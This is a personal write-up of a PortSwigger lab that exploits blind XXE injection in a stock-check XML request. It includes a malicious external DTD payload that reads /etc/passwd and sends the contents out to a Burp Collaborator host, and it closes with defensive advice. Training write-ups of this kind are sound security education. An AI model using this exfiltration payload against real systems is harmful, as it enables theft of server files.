PortSwigger mystery lab write-up — XML external entity injection: Exploiting blind XXE to exfiltrate data using a malicious external DTD.

This is a description the steps which I took to solve PortSwigger lab about XML external entity injection [1]: Exploiting blind XXE to exfiltrate data using malicious external DTD. As I mentioned, this is a mystery lab, it means the user needs to figure out what type of vulnerability he dealing with.Therefore, proper reconnaissance is the key step. The restrictions of the PortSwigger web environment create a relatively narrow scope for this task.

As with other PortSwigger labs, we start on the standard main page with product listings.

Picture 1. Lab main page.

There is also a Submit feedback feature, but it turned out not to be relevant for this lab. During standard reconnaissance I discovered that the product page exposes a Check stock feature that allows selecting a stock and checking the number of available units.

Picture 2. Pressing the “Check stock” button shows available units of a product.

I found the corresponding request in Burp’s HTTP history and observed that the application communicates using XML:

Picture 3. XML structure used to communicate with the server to check product availability.

From that point I decided to investigate the XML more deeply. I tried several payloads from my notes and observed errors such as “XML parsing error” and “Entities are not allowed for security reasons” — a strong hint that I was dealing with blind XXE. One of these probes (attempting to exfiltrate /etc/passwd) is shown on Picture 4, but it did not succeed at that stage.

Picture 4.

Moreover, this lab has an exploit server. Whereby, I thought it might be possible to craft local DTD [2] to exfiltrate the passwd content to burp collaborator. I crafted payload like this:

<ENTITY % file SYSTEM “file:///etc/passwd”> <ENTITY % eval “<ENTITY &#x25; exfil SYSTEM ‘http://burpcollaborator.oastify.com/?x=%file;’>”> %eval; %exfil;

Everything in the param “x” value should be exfiltrated content.To access newly crafted DTD I modified the check stock request in burp like this:

Picture 5. Accessing the local DTD on the exploit server.

I sent the request, but that what I got wasn’t solution for this lab, so I check in my notes that /etc/hostname is a target file. I change my exploit, sent request and got content of etc/hostname in burp collaborator. And this time lab was solved

Picture 6. The exploit server configuration.

Picture 7. XML Parsing error changed nothing. Exploit worked.

Picture 8. Exfiltrated hostname content in burp collaborator.

Picture 9. Pasting it into solution solves the lab.

Conclusions:

• Blind XXE can be exploited via out-of-band channels.
• Disabling external entity and DTD resolution in the XML parser is crucial to prevent XXE injection attacks.
• Applying least privilege to the process running the XML parser greatly reduces the impact of XXE-based file access.

Sources:
[1] https://portswigger.net/web-security/xxe
[2] https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-by-repurposing-a-local-dtd